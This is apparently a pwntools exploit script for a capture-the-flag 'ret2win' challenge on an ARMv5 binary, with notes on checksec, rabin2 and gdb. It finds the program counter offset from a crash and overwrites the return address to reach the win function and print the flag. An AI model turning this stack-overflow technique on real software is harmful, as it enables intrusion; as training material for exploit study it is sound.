from pwn import *

"""
How to:
    Check the file for security features
        checksec --file=<binary>

    Check the binary for interesting things    
        rabin2 -qs <binary>                         #Functions inside of the binary
        rabin2 -i <binary>                          #Imported functions and where they are located
        rabin2 -z <binary>                          #Programmer specific strings
       
    Inside of gdb:
        info functions                              #Shows the functions
        disas <function>                            #Shows the assembly for the function specified
        p <string>                                  #Grabs the address of the specified object
        search "<string>"                           #Search for a string and show its address
        jump <function or *Address>                 #Jumps to function or address
        b <function or *Address>                    #Sets up a breakpoint

        More into the potatos (32):
            pattern create <#> {output file}        #Creates a pattern for finding offset
            pattern offset <#>                      #Finds the offset mentioned
    
    64Bit differences:
        Need to grab the RSP beginning instead  
        If the address is only 4 bytes, pad to 8 
    
    ARMv5 differences:
        EIP/RIP is now PC

"""

# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)

# Specify GDB script here (breakpoints etc)
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())

# Binary filename
exe = './ret2win_armv5'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (warning/info/debug)
context.log_level = 'info'
# Deletes core files if used
context.delete_corefiles = True

# ===========================================================
#                    EXPLOIT GOES HERE
# ===========================================================


# Pass in pattern_size, get back EIP/RIP offset
# payload = find_ip(cyclic(100))

# Start program
io = start()

# Find the straw to break the camels back
payload = cyclic(100)

# Print out the target address
info("%#x target", elf.symbols['ret2win'])

# Send the payload
io.sendlineafter(">", payload)

# Wait for the program to crash
io.wait()

# Open up the core file
core = io.corefile

# Find PC offset
pc_value = core.pc
pc_offset = cyclic_find(pc_value)
info("Located PC offset at {a}".format(a=pc_offset))

# Payload 
payload = flat(
        "\x90" * pc_offset,
        elf.symbols.ret2win
        )

write('payload', payload)

# Start the program
io = start()

# Send the payload
io.sendlineafter("> ",payload)
io.recv()

# Get our flag!
flag = io.recvline()

try:
    success(flag)
except AttributeError:
    print("[+] Flag: {}".format(str(flag)))
